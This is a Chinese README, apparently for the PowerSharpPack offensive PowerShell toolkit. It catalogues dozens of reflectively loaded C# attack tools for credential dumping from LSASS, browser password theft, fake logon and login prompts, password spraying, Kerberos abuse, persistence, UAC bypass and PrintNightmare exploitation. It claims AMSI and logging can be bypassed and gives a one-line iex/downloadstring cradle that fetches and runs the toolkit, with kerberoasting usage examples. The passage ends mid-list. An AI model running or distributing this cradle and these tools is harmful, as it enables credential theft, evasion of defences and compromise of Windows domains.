许多有用的攻击性 C# 项目被封装成 PowerShell,以便于使用。
为什么?在我看来,攻击性 PowerShell 并没有因为 AMSI、脚本块日志记录、约束语言模式或其他保护功能而消亡。这些机制中的任何一个都可以被绕过。由于大多数新的创新攻击性安全项目都是用 C# 编写的,我决定让它们也能在 PowerShell 中使用。
那么我基本上做了什么?
[System.Reflection.Assembly]::Load($DecompressedDecodedBinary) 在 PowerShell 中加载。这是一个非常简单但耗时的过程,尤其是对于许多仓库来说。
包含了哪些工具?
Internalmonologue
内部 Monologue 攻击:在不接触 LSASS 的情况下检索 NTLM 哈希
@致谢:https://github.com/eladshamir/Internal-Monologue
Seatbelt
Seatbelt 是一个 C# 项目,执行一系列面向安全的主机调查“安全检查”,从攻击和防御两个安全角度来看都很相关。
@致谢:https://github.com/GhostPack/Seatbelt
SharpWeb
.NET 2.0 CLR 项目,用于从 Google Chrome、Mozilla Firefox 和 Microsoft Internet Explorer/Edge 中检索已保存的浏览器凭据。
@致谢:https://github.com/djhohnstein/SharpWeb
UrbanBishop
在 UrbanBishop 中创建一个本地 RW 节,然后将该节作为 RX 映射到远程进程中。Shellcode 加载变得简单。
@致谢:https://github.com/FuzzySecurity/Sharp-Suite
SharpUp
SharpUp 是各种 PowerUp 功能的 C# 移植版本。
@致谢:https://github.com/GhostPack/SharpUp
Rubeus
Rubeus 是一个用于原始 Kerberos 交互和滥用的 C# 工具集。
@致谢:https://github.com/GhostPack/Rubeus && https://github.com/gentilkiwi/kekeo/
SharPersist
用 C# 编写的 Windows 持久化工具包。
@致谢:https://github.com/fireeye/SharPersist
Sharpview
harmj0y 的 PowerView 的 C# 实现
@致谢:https://github.com/tevora-threat/SharpView
winPEAS
检查来自 book.hacktricks.xyz 的本地 Windows 权限提升清单。
@致谢:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS
Lockless
Lockless 允许复制锁定文件。
@致谢:https://github.com/GhostPack/Lockless
SharpChromium
.NET 4.0 CLR 项目,用于检索 Chromium 数据,例如 cookie、历史记录和已保存的登录信息。
@致谢:https://github.com/djhohnstein/SharpChromium
SharpDPAPI
SharpDPAPI 是某些 Mimikatz DPAPI 功能的 C# 移植版本。
@致谢:https://github.com/GhostPack/SharpDPAPI && https://github.com/gentilkiwi/mimikatz/
SharpShares
枚举当前域中的所有网络共享。还可以将名称解析为 IP 地址。
@致谢:https://github.com/djhohnstein/SharpShares
SharpSniper
通过用户名和登录 IP 地址在 Active Directory 中查找特定用户
@致谢:https://github.com/HunnicCyber/SharpSniper
SharpSpray
SharpSpray 是一套简单的代码,用于对域中所有用户执行密码喷洒攻击,使用 LDAP 并与 Cobalt Strike 兼容。
@致谢:https://github.com/jnqpblc/SharpSpray
Watson
枚举缺失的 KB 并建议可用的权限提升漏洞利用
@致谢:https://github.com/rasta-mouse/Watson
Grouper2
在 AD 组策略中查找漏洞
@致谢:https://github.com/l0ss/Grouper2
Tokenvator
使用 Windows Token 提升权限的工具
@致谢:https://github.com/0xbadjuju/Tokenvator
SauronEye
搜索工具,用于查找包含特定单词的特定文件,例如包含密码的文件。
@致谢:https://github.com/vivami/SauronEye
只需加载主脚本
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpPack.ps1')
然后选择工具作为开关参数,例如:
PowerSharpPack -seatbelt -Command "AMSIProviders"
如果需要向二进制文件传递多个参数,只需使用引号,例如:
PowerSharpPack -Rubeus -Command "kerberoast /outfile:Roasted.txt"
如果不想因为某些原因加载所有二进制文件,可以使用位于 PowerSharpBinaries 文件夹中的每个二进制文件的独立 PowerShell 脚本。
也可作为独立 PowerShell 脚本使用的项目:
SharpCloud
用于检查是否存在与 AWS、Microsoft Azure 和 Google Compute 相关的凭据文件的简单 C# 程序。
@致谢:https://github.com/chrismaddalena/SharpCloud
SharpSSDP
SSDP 服务发现
@致谢:https://github.com/rvrsh3ll/SharpSSDP
DAFT
DAFT:数据库审计框架与工具包
@致谢:https://github.com/NetSPI/DAFT
Get-RBCD-Threaded
在 Active Directory 环境中发现基于资源的约束性委派攻击路径的工具
@致谢:https://github.com/FatRodzianko/Get-RBCD-Threaded
SharpGPO-RemoteAccessPolicies
一个 C# 工具,用于通过组策略枚举远程访问策略。
@致谢:https://github.com/FSecureLABS/SharpGPO-RemoteAccessPolicies
SharpAllowedToAct
通过基于资源的约束性委派 (msDS-AllowedToActOnBehalfOfOtherIdentity) 接管计算机对象
@致谢:https://github.com/pkb1s/SharpAllowedToAct
WireTap
用于与视频、音频和键盘硬件交互的 .NET 4.0 项目。
@致谢:https://github.com/djhohnstein/WireTap
SharpClipboard
C# 剪贴板监视器
@致谢:https://github.com/slyd0g/SharpClipboard
SharpPrinter
发现打印机 + 检查漏洞
@致谢:https://github.com/rvrsh3ll/SharpPrinter
SharpHide
创建隐藏注册表项的工具。
@致谢:https://github.com/outflanknl/SharpHide
SpoolSample
PoC 工具,通过 MS-RPRN RPC 接口强制 Windows 主机向其他机器进行身份验证。也可以通过其他协议实现。
@致谢:https://github.com/leechristensen/SpoolSample
SharpGPOAbuse
SharpGPOAbuse 是一个用 C# 编写的 .NET 应用程序,可用于利用用户对组策略对象 (GPO) 的编辑权限,从而破坏该 GPO 所控制的对象。
@致谢:https://github.com/FSecureLABS/SharpGPOAbuse
SharpDump
SharpDump 是 PowerSploit 中 Out-Minidump.ps1 功能的 C# 移植版本。
@致谢:https://github.com/GhostPack/SharpDump
SharpHound3
BloodHound 项目的 C# 数据收集器,版本 3
@致谢:https://github.com/BloodHoundAD/SharpHound3
PostDump
另一个使用少量技术对 LSASS 进程执行小型转储以逃避检测的工具。
@致谢:https://github.com/YOLOP0wn/POSTDump
SharpLocker
SharpLocker 通过弹出虚假的 Windows 锁定屏幕来获取当前用户凭据,所有输出都发送到控制台,非常适合 Cobalt Strike。
@致谢:https://github.com/Pickfordmatt/SharpLocker
Eyewitness
EyeWitness 旨在截取网站截图,提供一些服务器 header 信息,并在可能的情况下识别默认凭据。
@致谢:https://github.com/FortyNorthSecurity/EyeWitness
FakeLogonScreen
用于窃取密码的虚假 Windows 登录屏幕
@致谢:https://github.com/bitsadmin/fakelogonscreen
P0wnedShell
PowerShell Runspace 后利用工具包
@致谢:https://github.com/Cn33liz/p0wnedShell
Safetykatz
SafetyKatz 是 @gentilkiwi 的 Mimikatz 项目和 @subTee 的 .NET PE 加载器的略微修改版本的组合。 我再次用自己混淆过的 Mimikatz 版本对其进行了修改。
@致谢:https://github.com/GhostPack/SafetyKatz
InveighZero
Windows C# LLMNR/mDNS/NBNS/DNS/DHCPv6 欺骗器/中间人工具。
@致谢:https://github.com/Kevin-Robertson/InveighZero
SharpSploit
SharpSploit 是一个用 C# 编写的 .NET 后利用库。
@致谢:https://github.com/cobbr/SharpSploit
Snaffler
一个供渗透测试人员使用的工具,用于帮助找到“美味糖果”,由 @l0ss 和 @Sh3r4 (Twitter: @/mikeloss 和 @/sh3r4_hax) 创建。
@致谢:https://github.com/SnaffCon/Snaffler
BadPotato
itm4n 的 Printspoofer 的 C# 版本。
@致谢:https://github.com/BeichenDream/BadPotato
BetterSafetyKatz
SafetyKatz 的分支,动态从 gentilkiwi GitHub 仓库获取最新预编译的 Mimikatz 版本,运行时修补签名,并使用 SharpSploit DInvoke 进行 PE 加载到内存中。
@致谢:https://github.com/Flangvik/BetterSafetyKatz
SharpKatz
Mimikatz 中 sekurlsa::logonpasswords、sekurlsa::ekeys 和 lsadump::dcsync 命令的 C# 移植版本。
@致谢:https://github.com/b4rtik/SharpKatz
Gopher
用于发现低垂果实的 C# 工具。
@致谢:https://github.com/EncodeGroup/Gopher
SharpOxidResolver
来自 AirBus Security/PingCastle 的 IOXIDResolver。
@致谢:https://github.com/vletoux/pingcastle/
SharpBlock
一种绕过 EDR 主动投影 DLL 的方法,通过阻止入口点执行。
@致谢:https://github.com/CCob/SharpBlock
SharpLoginPrompt
这个程序创建一个登录提示,用于收集当前用户的用户名和密码。该项目允许红队在不必接触 LSASS 或拥有系统管理员凭据的情况下,钓鱼获取当前用户的用户名和密码。
@致谢:https://github.com/shantanu561993/SharpLoginPrompt
ThunderFox
从 Thunderbird 和 Firefox 中检索数据(联系人、电子邮件、历史记录、cookie 和凭据)。
@致谢:https://github.com/V1V1/SharpScribbles
StickyNotesExtract
从 Windows 便利贴数据库中提取数据。适用于 Windows 10 1607 版本及更高版本。该项目不依赖任何外部依赖项。
@致谢:https://github.com/V1V1/SharpScribbles
SCShell
无文件横向移动工具,依赖 ChangeServiceConfigA 来运行命令。
@致谢:https://github.com/Mr-Un1k0d3r/SCShell
SharpSecDump
Impacket 中 secretsdump.py 的远程 SAM + LSA Secrets 转储功能的 .Net 移植版本。
@致谢:https://github.com/G0ldenGunSec/SharpSecDump
SharpHandler
该项目重用 LSASS 的打开句柄来解析或小型转储 LSASS,因此您无需使用自己的 LSASS 句柄与其交互。
@致谢:https://github.com/jfmaes/SharpHandler
SharpRDP
远程桌面协议 .NET 控制台应用程序,用于通过身份验证后执行命令。
@致谢:https://github.com/0xthirteen/SharpRDP
SharpMove
用于执行远程身份验证执行的 .NET 项目。
@致谢:https://github.com/0xthirteen/SharpMove
SharpStay
用于安装持久化的 .NET 项目
@致谢:https://github.com/0xthirteen/SharpStay
SharpPrintNightmare
PrintNightmare CVE-2021-1675/CVE-2021-34527 的 C# 实现
@致谢:https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare/SharpPrintNightmare
Certify
Active Directory 证书滥用。
@致谢:https://github.com/GhostPack/Certify
Farmer
Farmer 是一个用于在 Windows 域中收集 NetNTLM 哈希的项目。Farmer 通过创建一个本地 WebDAV 服务器来实现这一点,该服务器会导致任何连接的客户端通过 WebDAV Mini Redirector 进行身份验证。
@致谢:https://github.com/mdsecactivebreach/Farmer
SharpBypassUAC
用于 UAC 绕过的 C# 工具
@致谢:https://github.com/FatRodzianko/SharpBypassUAC
StandIn
StandIn 是一个小型 .NET35/45 AD 后利用工具包
@致谢:https://github.com/FuzzySecurity/StandIn
Carbuncle
在红队参与期间与 Outlook 互操作进行交互的工具
@致谢:https://github.com/checkymander/Carbuncle
Whisker
Whisker 是一个 C# 工具,通过操作用户或计算机账户的 msDS-KeyCredentialLink 属性,有效为目标账户添加“影子凭据”,从而接管 Active Directory 用户和计算机账户。
@致谢:https://github.com/eladshamir/Whisker
SharpLdapRelayScan
LdapRelayScan 的 C# 移植版本
@致谢:https://github.com/klezVirus/SharpLdapRelayScan
LdapSignCheck
用于检查 LDAP 签名的 C# 项目。
@致谢:https://github.com/cube0x0/LdapSignCheck
SharpImpersonation
SharpImpersonation - 一个用户模拟工具 - 通过 Token 或 Shellcode 注入。
@致谢:https://github.com/S3cur3Th1sSh1t/SharpImpersonation
SharpWSUS
SharpWSUS 是一个用于通过 WSUS 进行横向移动的 CSharp 工具。有相应的博客文章 (https://labs.nettitude.com/blog/introducing-sharpwsus/) 提供了关于该工具、用例和检测的更详细信息。
@致谢:https://github.com/nettitude/SharpWSUS
MalSCCM
该工具允许您滥用本地或远程 SCCM 服务器,向其管理的客户端部署恶意应用程序。要使用此工具,当前进程必须对 SCCM 服务器具有管理员权限。通常,SCCM 部署会将管理服务器和主服务器放在同一台主机上,在这种情况下,locate 命令返回的主机可以用作主服务器。
@致谢:https://github.com/nettitude/MalSCCM
KrbRelay
用于 Kerberos 中继的框架
@致谢:https://github.com/cube0x0/KrbRelay
SharpSCCM
一个用于与 SCCM 交互的 C# 工具
@致谢:https://github.com/Mayyhem/SharpSCCM
ShadowSpray
一种在整个域中喷洒影子凭据的工具,希望能够滥用域中长期被遗忘的其他对象上的 GenericWrite/GenericAll DACL。
@致谢:https://github.com/Dec0ne/ShadowSpray
Grouper3
在 AD 组策略中查找漏洞,但比 Grouper2 做得更好。
@致谢:https://github.com/Group3r/Group3r
HandleKatz
使用克隆句柄的 PIC lsass 转储器
@致谢:https://github.com/codewhitesec/HandleKatz
NanoDump
像你想象的那样转储 LSASS
@致谢:https://github.com/helpsystems/nanodump
PPLDump
使用用户态漏洞转储 PPL 的内存